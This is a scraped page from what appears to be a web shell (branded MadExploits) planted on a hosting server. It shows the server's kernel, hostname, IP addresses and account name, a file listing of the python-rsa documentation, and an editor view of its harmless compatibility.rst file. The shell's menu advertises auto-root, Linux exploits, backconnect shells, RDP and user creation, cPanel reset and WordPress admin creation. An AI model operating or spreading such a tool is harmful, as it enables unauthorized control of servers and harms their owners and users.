Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.217.34
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
gsutil /
third_party /
rsa /
doc /
[ HOME SHELL ]
Name
Size
Permission
Action
_build
[ DIR ]
drwxr-xr-x
_static
[ DIR ]
drwxr-xr-x
_templates
[ DIR ]
drwxr-xr-x
Makefile
4.66
KB
-rw-r--r--
cli.rst
3.76
KB
-rw-r--r--
compatibility.rst
1.9
KB
-rw-r--r--
conf.py
7.13
KB
-rw-r--r--
index.rst
1.51
KB
-rw-r--r--
installation.rst
1.38
KB
-rw-r--r--
intro.rst
1.51
KB
-rw-r--r--
licence.rst
667
B
-rw-r--r--
make.bat
4.41
KB
-rw-r--r--
reference.rst
2.19
KB
-rw-r--r--
upgrading.rst
2.69
KB
-rw-r--r--
usage.rst
10.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : compatibility.rst
Compatibility with standards ============================ .. index:: OpenSSL .. index:: compatibility Python-RSA implements encryption and signatures according to PKCS#1 version 1.5. This makes it compatible with the OpenSSL RSA module. Keys are stored in PEM or DER format according to PKCS#1 v1.5. Private keys are compatible with OpenSSL. However, OpenSSL uses X.509 for its public keys, which are not supported. Encryption: PKCS#1 v1.5 with at least 8 bytes of random padding Signatures: PKCS#1 v1.5 using the following hash methods: MD5, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512 Private keys: PKCS#1 v1.5 in PEM and DER format, ASN.1 type RSAPrivateKey Public keys: PKCS#1 v1.5 in PEM and DER format, ASN.1 type RSAPublicKey :ref:`VARBLOCK <bigfiles>` encryption: Deprecated in Python-RSA 3.4 and removed from Python-RSA 4.0. Was Python-RSA only, not compatible with any other known application. .. _openssl: Interoperability with OpenSSL ----------------------------- You can create a 512-bit RSA key in OpenSSL as follows:: openssl genrsa -out myprivatekey.pem 512 To get a Python-RSA-compatible public key from OpenSSL, you need the private key first, then run it through the ``pyrsa-priv2pub`` command:: pyrsa-priv2pub -i myprivatekey.pem -o mypublickey.pem Encryption and decryption is also compatible:: $ echo hello there > testfile.txt $ pyrsa-encrypt -i testfile.txt -o testfile.rsa publickey.pem $ openssl rsautl -in testfile.rsa -inkey privatekey.pem -decrypt hello there Interoperability with PKCS#8 ---------------------------- The standard PKCS#8 is widely used, and more complex than the PKCS#1 v1.5 supported by Python-RSA. In order to extract a key from the PKCS#8 format you need an external tool such as OpenSSL:: openssl rsa -in privatekey-pkcs8.pem -out privatekey.pem You can then extract the corresponding public key as described above.
Close